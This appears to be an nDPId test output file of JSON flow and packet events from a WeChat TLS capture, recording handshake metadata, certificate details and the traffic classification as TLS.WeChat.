+00408{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":687484,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoXgBAAEAGtx\/AqAFny82X058lAbtnDvSGeC5ApFARAOXT9QAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"wechat.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1492167353687,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54085,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":687522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0QwNAAEAG0kHAqAFny82XotNFAbtA8usy6z8oEoARAOWo0QAAAQEICgAwuptF0ZJx"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"wechat.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1492167353687,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54089,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":687624,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8ZmlAAEAGrtPAqAFny82XotNJAbvI4NzyAAAAAKACchB6zAAAAgQFtAQCCAoAMLqbAAAAAAEDAwc="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"wechat.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1492167353937,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54090,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":937975,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8a3xAAEAGqcDAqAFny82XotNKAbuhD9GmAAAAAKACchCtqQAAAgQFtAQCCAoAMLraAAAAAAEDAwc="} +00422{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":998138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0bFFAACwGvFPLzZeiwKgBZwG700RsJQ5DFiW5CIAQAQCMMwAAAQEICkXRpNcAMLqb"} +00422{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":15537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0vARAACwGbKDLzZeiwKgBZwG700XrPygSQPLrM4ARAHCW2wAAAQEICkXRpNsAMLqb"} +00422{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":15579,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0QwRAAEAG0kDAqAFny82XotNFAbtA8usz6z8oE4AQAOWWFAAAAQEICgAwuu1F0aTb"} +00406{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":46391,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAoK49AAC4G+vDLzZfTwKgBZwG7nyV4LkCkZw70h1AQAHPUZwAA"} +00407{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":49162,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAoK5BAAC4G+u\/LzZfTwKgBZwG7nyV4LkCkZw70h1ARAHPUZgAA"} +00406{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":49202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoev1AAEAGmiLAqAFny82X058lAbtnDvSHeC5ApVAQAOXT9AAA"} +00434{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":49234,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG700mLgJvryODc86ASN8g1VAAAAgQFoAQCCApF8RJmADC6mwEDAwc="} +00422{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":49274,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZmpAAEAGrtrAqAFny82XotNJAbvI4Nzzi4Cb7IAQAOWalAAAAQEICgAwuvZF8RJm"} +00747{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":49650,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiZmtAAEAGrevAqAFny82XotNJAbvI4Nzzi4Cb7IAYAOVDAAAAAQEICgAwuvZF8RJmFgMBAOkBAADlAwMg8ecmhVvNIGBKxVKhOhJWIrAbXQB1XAVkfDWfr1I96iDQqVQUi2ekdsYx76vXfMv4reYubqyVUBJq1nTozJ\/kzAAgKirMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB86uoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAI+voAHQAXABgqKgABAA=="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":94,"source":"wechat.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1492167353687,"flow_last_seen":1492167354049,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54089,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00436{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":296899,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG700oogx9AoQ\/Rp6ASN8hHnAAAAgQFoAQCCApF8RKkADC62gEDAwc="} +00423{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":296948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a31AAEAGqcfAqAFny82XotNKAbuhD9GnKIMfQYAQAOWs3QAAAQEICgAwuzRF8RKk"} +00423{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":427364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0iSlAAC0GnnvLzZeiwKgBZwG700mLgJvsyODd4YAQAHiZtAAAAQEICkXxEsUAMLr2"} +02343{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":430928,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIiSpAAC0GmObLzZeiwKgBZwG700mLgJvsyODd4YAQAHju1AAAAQEICkXxEsYAMLr2FgMDAF0CAABZAwM1kPQW92cguevuQqDaCbRcD\/G+X6zRfbURm97Uu0BVKCA3foG4i9pV6QeN41xMuSS6TypXmVvnRL5nSZVX0j3qosAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00778{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":98,"source":"wechat.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1492167353687,"flow_last_seen":1492167354430,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54089,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00423{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":430957,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZmxAAEAGrtjAqAFny82XotNJAbvI4N3hi4ChgIAQAPuTPQAAAQEICgAwu1VF8RLG"} +02349{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":487785,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIiStAAC0GmOXLzZeiwKgBZwG700mLgKGAyODd4YAQAHgCbAAAAQEICkXxEsYAMLr2i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQSA+yeJtoQdKqu9TBTMq7boQ71hzXg4fvG\/uJ7nOZNJ\/ry0fvYdJJiIEOdEQ\/tGrfV1K3288dfFzu010\/GMEJVUBgEBABSNSFxa"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":100,"source":"wechat.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":8,"flow_first_seen":1492167353687,"flow_last_seen":1492167354487,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54089,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":487813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Zm1AAEAGrtfAqAFny82XotNJAbvI4N3hi4CnFIAQARGNhQAAAQEICgAwu2NF8RLG"} +00780{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":488072,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4iSxAAC0GnXTLzZeiwKgBZwG700mLgKcUyODd4YAYAHgviAAAAQEICkXxEsYAMLr2fTScOdm56ml7v1ofTVAkfVhd3wcrzURPmgmRKtBv2u80x9TnTxKtBnp2tzJvxT7yoK7qis+ID2ApL4Bg1FSshJivuWkb9x\/9I4xx7OzQ29cEdb4Qd8G3dnaBoRFgtpqrZd2VBPSjYjYstYO0oDVVYHM8jQlx9PCqFzGdHuRBpnuVBhSZsWykeif6s2sxXA7+43gpYo8JwIoAcuk5uZKdqLLaMhSPOw7XEhl4OLVKkcg6YAFkzpUfZkfB+G1B9nCg5GnUrcb8dtjLw77P\/8DIKbUlq2Li322jlWf9tleQaJX3Pcg3aj1TcUjxdk2Jw\/0XY2Rlsl5ThM\/ogtUWAwMABA4AAAA="} +00425{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":488100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Zm5AAEAGrtbAqAFny82XotNJAbvI4N3hi4CoGIAQASiMagAAAQEICgAwu2NF8RLG"} +00597{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":490757,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyZm9AAEAGrlfAqAFny82XotNJAbvI4N3hi4CoGIAYASgXIAAAAQEICgAwu2RF8RLGFgMDAEYQAABCQQRBUqcOr\/Fo9LfujpCB1YIK12c6eVV75kVsU8e5xArVru79k3ajtqlrZp0McDR+8QZPDpNm6ocQtMz6EuG9VJxYFAMDAAEBFgMDACgAAAAAAAAAAB9QQJRpQW0QXzIXXukwJtDqaRVZoRNnEF6LSTogjsgs"} +00495{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":864678,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABniS1AAC0GnkTLzZeiwKgBZwG700mLgKgYyODeX4AYAHiZewAAAQEICkXxEzMAMLtkFAMDAAEBFgMDACjTZNtyCweq2cjQQzxGpVecoDk5dDO33TmzV16l2q5lvjybNw5JFWfK"} +02106{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":865785,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMZnBAAEAGqfzAqAFny82XotNJAbvI4N5fi4CoS4AYASiogAAAAQEICgAwu8JF8RMzFwMDBNMAAAAAAAAAAXVl2bEdSzpiU7Zyml3Li4A3tlDKuAIvlkudhWTUDandLFjvn6EokoSHVGijId5XO2gIA8Dr3kw0zJXPsULIhjdf27AC7hXM2QVIo2q91mvMP6SDhnj0dHL2XdevzIpxgcbaGE6Fw\/tOfCoK6W+qYtoCrpvUpf0v2LielE0HreHGuKAUr7RVh1MB0aeH+eZsr8M3qE9XFw5+fSu197vqnGenxERoRBjkNgG0jMyhPt86wa9PZXOZazWBc3RXhEf1r2daNsTrEBuF\/wgc9BX33oMyfDRIy7LNrz2eTZAJJ14kYUnUmDzVvxDUr+rhd8Gi3UTElW0shvGwvnuPvW7UUJIrGt7R+Q+KPxvSUE4YN6MrsdFI8y9uDs8uCQ9bAEeggduQAhQAkVZupsZY8I2D6XY03NeScMCLyPrJNzA9ZjKIzFgJhXfdRoborQA9JFUUAIsY0cjrevUfjL8tci0GL2WtfMDZl+8+9q7KFMH1wkegoH0eeYNW68wj+0TO5f8GuRwWfITiQkJm5eA\/xnnVIWW0cJLp557+6CAbIqYRG4EWvQ1jvR4mV6cxWNMHYD\/dubHBxhnT9OsZ6W1l1b38k2PJPYnTBZEpF+Dn0uole7CcbN08nLAB9xXPiBLvd3c27wC14jx0J1dVhI3Cend13\/nNTSpOydcfoN9A34xjqZSQWBX1eskDE6wZvM0TPA2V5\/iI7vdqlmSoX4B0fAHxcSunCrdAsMkzPZ+qzeSt9+WWVmOQ530zwM\/lSoe3hYDLcfhXsZezJHqSlgxMTmm9ApkjwdJMcG31FY42h5fnXmf19X1VGD3eqIrIRRBTfoXSJPcizxMCODczeDYk1njqSn+QhmPKI8DdGhV0K02ngpSrq0xFKOJluYb\/l6+h8GNnoMhksPF1Q+67Dnavznsk5PqC7Uw63bMybUnZ\/uMHNyTD7XgbyMxSPpbzClG6Njl6bqziGH7e4\/a9bGkE6K+hmMPfrsmI